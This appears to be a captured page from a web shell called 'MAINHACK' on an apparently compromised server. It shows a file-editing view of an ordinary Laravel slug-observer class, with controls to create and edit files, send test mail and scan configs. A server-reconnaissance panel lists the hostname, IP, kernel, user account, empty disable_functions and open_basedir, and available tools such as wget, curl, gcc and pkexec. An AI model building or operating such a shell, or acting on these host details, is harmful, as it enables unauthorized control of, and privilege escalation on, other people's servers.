[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SluggableObserver.php
<?php namespace Cviebrock\EloquentSluggable; use Cviebrock\EloquentSluggable\Services\SlugService; use Illuminate\Contracts\Events\Dispatcher; use Illuminate\Database\Eloquent\Model; /** * Class SluggableObserver * * @package Cviebrock\EloquentSluggable */ class SluggableObserver { /** @var string */ public const SAVING = 'saving'; /** @var string */ public const SAVED = 'saved'; /** * @var \Cviebrock\EloquentSluggable\Services\SlugService */ private $slugService; /** * @var \Illuminate\Contracts\Events\Dispatcher */ private $events; /** * SluggableObserver constructor. * * @param \Cviebrock\EloquentSluggable\Services\SlugService $slugService * @param \Illuminate\Contracts\Events\Dispatcher $events */ public function __construct(SlugService $slugService, Dispatcher $events) { $this->slugService = $slugService; $this->events = $events; } /** * @param \Illuminate\Database\Eloquent\Model $model * @return bool|void */ public function saving(Model $model) { if ($model->sluggableEvent() !== self::SAVING) { return; } $this->generateSlug($model, 'saving'); } /** * @param \Illuminate\Database\Eloquent\Model $model * @return bool|void */ public function saved(Model $model) { if ($model->sluggableEvent() !== self::SAVED) { return; } if ($this->generateSlug($model, 'saved')) { return $model->saveQuietly(); } } /** * @param \Illuminate\Database\Eloquent\Model $model * @param string $event * @return bool */ protected function generateSlug(Model $model, string $event): bool { // If the "slugging" event returns false, abort if ($this->fireSluggingEvent($model, $event) === false) { return false; } $wasSlugged = $this->slugService->slug($model); $this->fireSluggedEvent($model, $wasSlugged); return $wasSlugged; } /** * Fire the namespaced validating event. * * @param \Illuminate\Database\Eloquent\Model $model * @param string $event * @return bool|null */ protected function fireSluggingEvent(Model $model, string $event): ?bool { return $this->events->until('eloquent.slugging: ' . get_class($model), [$model, $event]); } /** * Fire the namespaced post-validation event. * * @param \Illuminate\Database\Eloquent\Model $model * @param string $status * @return void */ protected function fireSluggedEvent(Model $model, string $status): void { $this->events->dispatch('eloquent.slugged: ' . get_class($model), [$model, $status]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002